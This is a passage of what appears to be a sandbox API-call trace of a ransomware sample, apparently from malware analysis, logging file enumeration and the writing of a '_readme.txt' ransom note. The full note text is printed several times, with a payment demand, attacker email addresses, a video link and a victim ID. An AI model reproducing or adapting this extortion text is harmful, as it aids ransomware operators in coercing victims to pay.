[0111.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.438] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0111.438] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.438] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.438] PathFindFileNameW (pszPath="") returned="" [0111.438] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.438] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.439] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.439] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.439] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.439] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.439] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.439] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0111.439] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.439] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.439] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0111.439] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.439] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.439] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.439] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.439] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.439] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.439] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.439] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.439] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.439] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.440] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.440] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.440] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.440] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.440] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.441] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.441] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.442] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.442] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.443] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.443] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.444] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.444] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 